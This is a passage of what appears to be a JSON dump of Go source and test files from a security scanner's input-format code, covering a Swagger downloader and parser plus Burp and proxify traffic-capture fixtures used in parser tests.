added\n\t_, exists := downloadedSpec[\"host\"]\n\tif !exists {\n\t\tt.Error(\"Host field was not added to the spec\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_UnsupportedExtension(t *testing.T) {\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\t_, err = downloader.Download(\"http://example.com/spec.xml\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for unsupported extension, but got none\")\n\t}\n\n\tif !strings.Contains(err.Error(), \"URL does not appear to be a Swagger spec\") {\n\t\tt.Errorf(\"Unexpected error message: %v\", err)\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_HTTPError(t *testing.T) {\n\t// Create mock server that returns 404\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusNotFound)\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\t_, err = downloader.Download(server.URL+\"/swagger.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for HTTP 404, but got none\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_InvalidJSON(t *testing.T) {\n\t// Create mock server that returns invalid JSON\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif _, err := w.Write([]byte(\"invalid json\")); err != nil {\n\t\t\thttp.Error(w, \"failed to write response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\t_, err = downloader.Download(server.URL+\"/swagger.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid JSON, but got none\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_InvalidYAML(t *testing.T) {\n\t// Create mock server that returns invalid YAML\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/yaml\")\n\t\tif _, err := w.Write([]byte(\"invalid: yaml: content: [\")); err != nil {\n\t\t\thttp.Error(w, \"failed to write response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\t_, err = downloader.Download(server.URL+\"/swagger.yaml\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid YAML, but got none\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_Timeout(t *testing.T) {\n\t// Create mock server with delay\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\ttime.Sleep(35 * time.Second) // Longer than 30 second timeout\n\t\tif err := json.NewEncoder(w).Encode(map[string]interface{}{\"test\": \"data\"}); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\t_, err = downloader.Download(server.URL+\"/swagger.json\", tmpDir, nil)\n\tif err == nil {\n\t\tt.Error(\"Expected timeout error, but got none\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_WithExistingHost(t *testing.T) {\n\t// Create a mock Swagger spec with existing host\n\tmockSpec := map[string]interface{}{\n\t\t\"swagger\": \"2.0\",\n\t\t\"info\": map[string]interface{}{\n\t\t\t\"title\":   \"Test API\",\n\t\t\t\"version\": \"1.0.0\",\n\t\t},\n\t\t\"host\":  \"existing-host.com\",\n\t\t\"paths\": map[string]interface{}{},\n\t}\n\n\t// Create mock server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif err := json.NewEncoder(w).Encode(mockSpec); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\tdownloader := &SwaggerDownloader{}\n\tfilePath, err := downloader.Download(server.URL+\"/swagger.json\", tmpDir, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Download failed: %v\", err)\n\t}\n\n\t// Verify existing host is preserved\n\tcontent, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to read downloaded file: %v\", err)\n\t}\n\n\tvar downloadedSpec map[string]interface{}\n\tif err := json.Unmarshal(content, &downloadedSpec); err != nil {\n\t\tt.Fatalf(\"Failed to parse downloaded JSON: %v\", err)\n\t}\n\n\thost, exists := downloadedSpec[\"host\"]\n\tif !exists {\n\t\tt.Error(\"Host field was removed from the spec\")\n\t}\n\n\tif hostStr, ok := host.(string); !ok || hostStr != \"existing-host.com\" {\n\t\tt.Errorf(\"Expected host 'existing-host.com', got '%v'\", host)\n\t}\n}\n\n// Helper function to check if file exists\nfunc fileExists(filename string) bool {\n\t_, err := os.Stat(filename)\n\treturn !os.IsNotExist(err)\n}\n"
  },
  {
    "path": "pkg/input/formats/swagger/swagger.go",
    "content": "package swagger\n\nimport (\n\t\"io\"\n\t\"path\"\n\n\t\"github.com/getkin/kin-openapi/openapi2\"\n\t\"github.com/getkin/kin-openapi/openapi2conv\"\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/invopop/yaml\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// SwaggerFormat is a Swagger Schema File parser\ntype SwaggerFormat struct {\n\topts formats.InputFormatOptions\n}\n\n// New creates a new Swagger format parser\nfunc New() *SwaggerFormat {\n\treturn &SwaggerFormat{}\n}\n\nvar _ formats.Format = &SwaggerFormat{}\n\n// Name returns the name of the format\nfunc (j *SwaggerFormat) Name() string {\n\treturn \"swagger\"\n}\n\nfunc (j *SwaggerFormat) SetOptions(options formats.InputFormatOptions) {\n\tj.opts = options\n}\n\n// Parse parses the input and calls the provided callback\n// function for each RawRequest it discovers.\nfunc (j *SwaggerFormat) Parse(input io.Reader, resultsCb formats.ParseReqRespCallback, filePath string) error {\n\tschemav2 := &openapi2.T{}\n\text := path.Ext(filePath)\n\tvar err error\n\tif ext == \".yaml\" || ext == \".yml\" {\n\t\tvar data []byte\n\t\tdata, err = io.ReadAll(input)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not read data file\")\n\t\t}\n\t\terr = yaml.Unmarshal(data, schemav2)\n\t} else {\n\t\terr = json.NewDecoder(input).Decode(schemav2)\n\t}\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not decode openapi 2.0 schema\")\n\t}\n\tschema, err := openapi2conv.ToV3(schemav2)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not convert openapi 2.0 schema to 3.0\")\n\t}\n\tloader := openapi3.NewLoader()\n\terr = loader.ResolveRefsIn(schema, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not resolve openapi schema references\")\n\t}\n\treturn openapi.GenerateRequestsFromSchema(schema, j.opts, resultsCb)\n}\n"
  },
  {
    "path": "pkg/input/formats/swagger/swagger_test.go",
    "content": "package swagger\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSwaggerAPIParser(t *testing.T) {\n\tformat := New()\n\n\tproxifyInputFile := \"../testdata/swagger.yaml\"\n\n\tvar gotMethodsToURLs []string\n\n\tfile, err := os.Open(proxifyInputFile)\n\trequire.Nilf(t, err, \"error opening proxify input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\terr = format.Parse(file, func(request *types.RequestResponse) bool {\n\t\tgotMethodsToURLs = append(gotMethodsToURLs, request.URL.String())\n\t\treturn false\n\t}, proxifyInputFile)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(gotMethodsToURLs) != 2 {\n\t\tt.Fatalf(\"invalid number of methods: %d\", len(gotMethodsToURLs))\n\t}\n\n\texpectedURLs := []string{\n\t\t\"https://localhost/v1/users\",\n\t\t\"https://localhost/v1/users/1?test=asc\",\n\t}\n\trequire.ElementsMatch(t, gotMethodsToURLs, expectedURLs, \"could not get swagger urls\")\n}\n"
  },
  {
    "path": "pkg/input/formats/testdata/burp.xml",
    "content": "<?xml version=\"1.0\"?>\n<!DOCTYPE items [\n<!ELEMENT items (item*)>\n<!ATTLIST items burpVersion CDATA \"\">\n<!ATTLIST items exportTime CDATA \"\">\n<!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)>\n<!ELEMENT time (#PCDATA)>\n<!ELEMENT url (#PCDATA)>\n<!ELEMENT host (#PCDATA)>\n<!ATTLIST host ip CDATA \"\">\n<!ELEMENT port (#PCDATA)>\n<!ELEMENT protocol (#PCDATA)>\n<!ELEMENT method (#PCDATA)>\n<!ELEMENT path (#PCDATA)>\n<!ELEMENT extension (#PCDATA)>\n<!ELEMENT request (#PCDATA)>\n<!ATTLIST request base64 (true|false) \"false\">\n<!ELEMENT status (#PCDATA)>\n<!ELEMENT responselength (#PCDATA)>\n<!ELEMENT mimetype (#PCDATA)>\n<!ELEMENT response (#PCDATA)>\n<!ATTLIST response base64 (true|false) \"false\">\n<!ELEMENT comment (#PCDATA)>\n]>\n<items burpVersion=\"2023.10.1.2\" exportTime=\"Sat Sep 30 20:11:44 IST 2023\">\n  <item>\n    <time>Sat Sep 30 20:11:32 IST 2023</time>\n    <url><![CDATA[http://localhost:8087/scans]]></url>\n    <host ip=\"127.0.0.1\">localhost</host>\n    <port>8087</port>\n    <protocol>http</protocol>\n    <method><![CDATA[POST]]></method>\n    <path><![CDATA[/scans]]></path>\n    <extension>null</extension>\n    <request base64=\"true\"><![CDATA[UE9TVCAvc2NhbnMgSFRUUC8xLjEKSG9zdDogbG9jYWxob3N0OjgwODcKVXNlci1BZ2VudDogR28taHR0cC1jbGllbnQvMS4xCkNvbnRlbnQtTGVuZ3RoOiA5MApDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgpDb25uZWN0aW9uOiBjbG9zZQoKeyJkcnktcnVuIjpmYWxzZSwiaW5zdGFuY2VzIjoxLCJwdWJsaWNfdGVtcGxhdGVzIjpbImRucyJdLCJ0YXJnZXRzIjpbImh0dHBzOi8vc2Nhbm1lLnNoIl19]]></request>\n    <status>200</status>\n    <responselength>152</responselength>\n    <mimetype>JSON</mimetype>\n    <response base64=\"true\"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24NClZhcnk6IE9yaWdpbg0KRGF0ZTogU2F0LCAzMCBTZXAgMjAyMyAxNDo0MTozMiBHTVQNCkNvbnRlbnQtTGVuZ3RoOiAxMQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0KeyJpZCI6IjEifQo=]]></response>\n    <comment></comment>\n  </item>\n  <item>\n    <time>Sat Sep 30 20:08:54 IST 2023</time>\n    <url><![CDATA[http://google.com/]]></url>\n    <host ip=\"216.58.196.110\">google.com</host>\n    <port>80</port>\n    <protocol>http</protocol>\n    <method><![CDATA[GET]]></method>\n    <path><![CDATA[/]]></path>\n    <extension>null</extension>\n    <request base64=\"true\"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IGdvb2dsZS5jb20NClVzZXItQWdlbnQ6IGN1cmwvOC4xLjINCkFjY2VwdDogKi8qDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]></request>\n    <status>301</status>\n    <responselength>792</responselength>\n    <mimetype>HTML</mimetype>\n    <response base64=\"true\"><![CDATA[SFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5DQpMb2NhdGlvbjogaHR0cDovL3d3dy5nb29nbGUuY29tLw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCkNvbnRlbnQtU2VjdXJpdHktUG9saWN5LVJlcG9ydC1Pbmx5OiBvYmplY3Qtc3JjICdub25lJztiYXNlLXVyaSAnc2VsZic7c2NyaXB0LXNyYyAnbm9uY2Utay1XLW01X282alRxc0t3M1NOUDdZdycgJ3N0cmljdC1keW5hbWljJyAncmVwb3J0LXNhbXBsZScgJ3Vuc2FmZS1ldmFsJyAndW5zYWZlLWlubGluZScgaHR0cHM6IGh0dHA6O3JlcG9ydC11cmkgaHR0cHM6Ly9jc3Aud2l0aGdvb2dsZS5jb20vY3NwL2d3cy9vdGhlci1ocA0KRGF0ZTogU2F0LCAzMCBTZXAgMjAyMyAxNDozODo1NCBHTVQNCkV4cGlyZXM6IE1vbiwgMzAgT2N0IDIwMjMgMTQ6Mzg6NTQgR01UDQpDYWNoZS1Db250cm9sOiBwdWJsaWMsIG1heC1hZ2U9MjU5MjAwMA0KU2VydmVyOiBnd3MNCkNvbnRlbnQtTGVuZ3RoOiAyMTkNClgtWFNTLVByb3RlY3Rpb246IDANClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KQ29ubmVjdGlvbjogY2xvc2UNCg0KPEhUTUw+PEhFQUQ+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCI+CjxUSVRMRT4zMDEgTW92ZWQ8L1RJVExFPjwvSEVBRD48Qk9EWT4KPEgxPjMwMSBNb3ZlZDwvSDE+ClRoZSBkb2N1bWVudCBoYXMgbW92ZWQKPEEgSFJFRj0iaHR0cDovL3d3dy5nb29nbGUuY29tLyI+aGVyZTwvQT4uDQo8L0JPRFk+PC9IVE1MPg0K]]></response>\n    <comment></comment>\n  </item>\n</items>"
  },
  {
    "path": "pkg/input/formats/testdata/ginandjuice.proxify.json",
    "content": "{\"timestamp\":\"2023-09-07T21:03:38+05:30\",\"url\":\"https://ginandjuice.shop/\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=K3apVBuA9VPgjvRhmuEIK81dRquSyRPC8gXbOq4toRUpky4GpcmmPzP2j1c7KVfskcjCGih6K1kxXVYeKlClX5Rx60P+G6gHWE6hNhos6T/CuvhaP5uLb0BZgaZ7; AWSALBCORS=K3apVBuA9VPgjvRhmuEIK81dRquSyRPC8gXbOq4toRUpky4GpcmmPzP2j1c7KVfskcjCGih6K1kxXVYeKlClX5Rx60P+G6gHWE6hNhos6T/CuvhaP5uLb0BZgaZ7\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"none\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/\",\"scheme\":\"https\"},\"raw\":\"GET / HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=K3apVBuA9VPgjvRhmuEIK81dRquSyRPC8gXbOq4toRUpky4GpcmmPzP2j1c7KVfskcjCGih6K1kxXVYeKlClX5Rx60P+G6gHWE6hNhos6T/CuvhaP5uLb0BZgaZ7; AWSALBCORS=K3apVBuA9VPgjvRhmuEIK81dRquSyRPC8gXbOq4toRUpky4GpcmmPzP2j1c7KVfskcjCGih6K1kxXVYeKlClX5Rx60P+G6gHWE6hNhos6T/CuvhaP5uLb0BZgaZ7\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: none\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2127\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:38 GMT\",\"Set-Cookie\":\"AWSALB=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; Expires=Thu, 14 Sep 2023 15:33:38 GMT; Path=/, AWSALBCORS=Pg2tRxpbJS4v1ZtiZEW7wdRuiV8VAiZ3b3l3tQPQqlbmlzdtxR43DjPK5Jy+fdqkGwxM1KZJ4rYEZno7EU9fm5zKFOYXkqdmZLntqAPODwer/3D3AJPY82NCJZfi; Expires=Thu, 14 Sep 2023 15:33:38 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd\\u001a\\ufffdr\\ufffd8\\ufffd\\ufffd=\\ufffd\\ufffdwGa\\u0006\\ufffdMR\\ufffdtHrs\\ufffd@\\ufffd\\n-\\u0003\\u0003s\\ufffdad[\\ufffdUd\\ufffdXr\\ufffd\\u001f\\ufffd^\\ufffd\\ufffd\\ufffdV\\ufffd\\ufffd:\\ufffd\\u001d;\\ufffd\\ufffdp3t:m$\\ufffd\\ufffdV\\ufffd\\ufffdRF?\\ufffd]\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\t\\ufffdU\\ufffd\\u0026?\\ufffd\\ufffd?\\u0004?\\ufffd\\ufffd\\ufffd\\ufffd~4CF\\ufffd'\\u0014gd:\\ufffd2\\\"E\\ufffd\\u0005Dz\\u000c\\ufffd\\u001a\\ufffdd^ \\ufffd'\\u0003\\ufffd_\\ufffds3у\\t\\ufffd\\u00116\\ufffd\\ufffd`DƄ\\ufffd6b\\ufffd\\u0004\\u0010\\ufffdo\\ufffdLB\\ufffd\\u0013H\\ufffdㄌ\\ufffd\\u0019%\\ufffdTd\\ufffdA\\ufffd\\ufffd\\ufffdp5v\\ufffd4T\\ufffd8$3\\u001a\\u0010\\ufffd\\u000c\\ufffd\\ufffd\\\\\\ufffd\\ufffd\\u0005\\u000ea\\u0007F\\ufffd\\\\8\\u0015j2\\ufffdh\\ufffd\\ufffd̂\\ufffdSa\\ufffdZ\\ufffd\\u0000\\u0007\\ufffd\\u0007\\ufffd\\u0008\\u0013i\\u0002\\ufffd{\\ufffdҙ\\ufffd\\u003c\\ufffdѝ\\ufffd\\u001b\\ufffdd\\u00072\\ufffdH\\ufffdd\\ufffd|Q\\ufffd5\\ufffda;\\ufffd\\ufffdQ\\ufffd\\u003c\\ufffd\\u0019\\ufffd\\u003e\\ufffd\\ufffdc\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdɹH\\u0008r\\ufffd3\\ufffd\\ufffd\\u001d\\ufffd\\ufffd\\ufffdЋ\\u001c\\ufffd\\ufffd\\ufffd\\ufffd\\\"\\u001dy\\u0016\\ufffdj޻Q\\ufffd\\ufffd\\u0017a\\ufffdx\\ufffd\\ufffd4\\ufffd\\u0010\\u000c\\ufffd\\u000c\\ufffdp\\ufffdT5^\\u0011\\ufffd=\\n\\t\\u0014\\u0015\\u001c\\u0005\\u000cK9v\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffd\\ufffd\\ufffd\\u001a\\ufffdAJ7\\ufffd\\ufffd\\ufffdۘJ\\u0004\\ufffd\\u0018\\ufffd\\ufffdQ\\ufffddX\\u0011V\\ufffdY\\ufffd8|\\u0006\\ufffd\\ufffd9\\ufffd\\u0011\\ufffd\\ufffdh\\ufffdͮ\\ufffd\\u000f\\ufffd8\\t\\ufffdTdH\\u0011\\ufffd(\\ufffd4\\ufffd\\u001d\\ufffd\\ufffd\\ufffd\\ufffd\\u0002\\ufffd2\\ufffd\\n;\\ufffd\\ufffd\\u0002s\\ufffdW\\ufffd\\ufffdH\\ufffdxy\\u0014m\\ufffd\\u000e\\u0012\\u003c\\u0011`T\\ufffdL\\ufffdi\\ufffd㡘\\ufffd\\u003e~\\ufffd\\ufffdGc\\ufffd_.\\ufffd\\ufffd\\ufffd\\ufffd`e5\\ufffd\\ufffd\\ufffd\\ufffdЮ.\\ufffda\\ufffdW\\ufffd\\ufffdV\\ufffd\\ufffdt\\ufffd\\ufffd)\\ufffd[\\ufffd\\ufffd\\ufffd\\u001dT\\ufffdke8\\\\\\u001d\\u001e\\ufffdCL\\ufffd\\ufffd\\u001a#\\ufffd\\ufffd\\ufffd\\ufffdb\\ufffd\\ufffd\\ufffd?{\\ufffd\\ufffd\\ufffd)\\ufffd￤\\ufffd3Ƃ\\ufffdx|po\\ufffd+#X\\ufffd\\u000cz \\ufffdT\\ufffd\\ufffd\\u001f\\ufffd\\ufffd\\ufffdA\\ufffdܰf\\ufffdș\\\\\\ufffd\\n\\u0015`֨\\ufffd\\u0003R\\u0002\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\u000c\\u0026\\r\\ufffd\\ufffd1\\u0017o\\ufffd^\\u0000\\ufffdZ\\ufffdV[\\u003c\\ufffdf\\ufffd\\ufffdltPCV\\ufffd\\ufffd\\u0005\\ufffd!\\u0005S\\u0000\\ufffd\\ufffd\\ufffd\\u0011\\ufffdQ\\ufffd\\ufffd\\ufffd!SCN\\ufffd\\ufffd\\ufffd2\\u0011\\t\\ufffdS\\ufffdo \\ufffdᆅ\\u001bR\\ufffda\\ufffd\\u0016\\ufffd\\u000c\\u000e\\ufffd\\r\\ufffd,!r\\ufffd0m\\ufffd\\ufffd\\ufffd\\ufffd\\t\\ufffdtXm\\ufffd\\u0012\\ufffd\\u0019MpV\\ufffdQ\\ufffd\\ufffdn\\ufffdd\\ufffd\\u001d\\ufffd\\u0000\\ufffd\\ufffd\\ufffd~\\ufffd\\u0014\\u0004\\u0005+P\\ufffd\\u0003\\ufffd\\ufffd '\\ufffd\\ufffdL\\ufffdy\\ufffdd\\ufffdPV\\ufffdy]6\\ufffd=w\\ufffda\\ufffd1\\ufffd\\ufffd\\ufffd\\ufffd¾ȕ3\\ufffd\\ufffd~\\ufffdDV|#\\ufffdF^\\ufffdnmB\\ufffd\\ufffd\\ufffd\\ufffd{6\\\"\\u001c\\u0004\\\"\\ufffdʥAE*I\\ufffd\\ufffd\\ufffd\\ufffd\\u001d\\ufffd,\\ufffd\\ufffd \\ufffd-\\u0016o\\ufffd)Xx\\ufffd\\ufffd\\u0001\\ufffd\\u0002\\ufffd\\u0007п\\ufffd\\ufffd\\u0004\\ufffd\\u0005d\\ufffdd5\\ufffd.\\ufffd-\\ufffd\\ufffd\\rp\\ufffdco\\u001e\\ufffd\\u001c\\ufffd\\u0007\\ufffd\\u0010\\u0011\\ufffd\\ufffd3ǆn'\\ufffd\\ufffd/\\ufffd/\\u000bT~\\ufffd\\u0013\\ufffd\\ufffd\\ufffdݝ\\ufffdW\\u0018l\\ufffd\\ufffd5k-\\u0003\\ufffd\\ufffdW\\ufffd\\ufffd\\ufffd\\ufffdwXf\\ufffd\\ufffd֫Q\\ufffd\\ufffd\\ufffdP\\ufffd\\ufffdn;\\u001f\\ufffd\\ufffd\\ufffd\\ufffd\\u0012Q\\ufffd\\u0008\\ufffd\\ufffdWf3\\u001aE\\ufffdB\\ufffd\\ufffdY\\u001e\\ufffdq\\u0000\\ufffd\\ufffd6*\\ufffd\\ufffdƼאyk\\ufffdk\\ufffd\\ufffd5(\\ufffd\\ufffd\\ufffdPѝH\\u000c\\u0005vK\\u0015\\ufffd@\\ufffd^\\ufffd\\ufffd\\ufffd\\u0002\\ufffd\\u0026\\ufffd;\\ufffd\\ufffd\\u000c\\ufffd\\r\\ufffdKA\\u000bE\\ufffde\\ufffd[F\\ufffd\\u0026D\\ufffd.7\\ufffd\\ufffd\\ufffdl\\n\\r[+m\\ufffd\\ufffd7\\n\\ufffd\\ufffd\\ufffd\\\"g?n\\ufffd\\ufffd\\ufffd\\u0000\\u0006aƠ\\ufffdhI\\ufffd\\r\\u0015\\ufffd\\u0006\\ufffd\\ufffd\\u001bY\\u0010\\ufffdʈfb\\u001b\\ufffd\\u00151/\\ufffdζv\\u0026+\\ufffd\\ufffd\\ufffd\\u0014\\ufffd:\\u0005\\ufffd\\u0005\\ufffdR\\ufffd\\ufffd\\ufffd\\u0000\\ufffd\\ufffd\\ufffdV\\u0013h\\u0012\\ufffd(4\\u001b\\ufffdAe)\\ufffd{\\ufffd\\ufffd\\u0010\\ufffdX\\\"h\\u003c\\u0019\\ufffd;\\u001a\\n\\ufffdc(\\\"\\ufffd\\ufffd\\u0012\\ufffd)\\ufffd(w\\ufffd۶\\ufffdҒ\\ufffdvG\\ufffd\\u0004\\ufffd\\u001fyǺ\\u001a\\ufffd\\ufffdY9-\\ufffd\\ufffd\\u0000\\ufffd\\u0014\\ufffd?ڒ=\\ufffd%\\u001d:F; 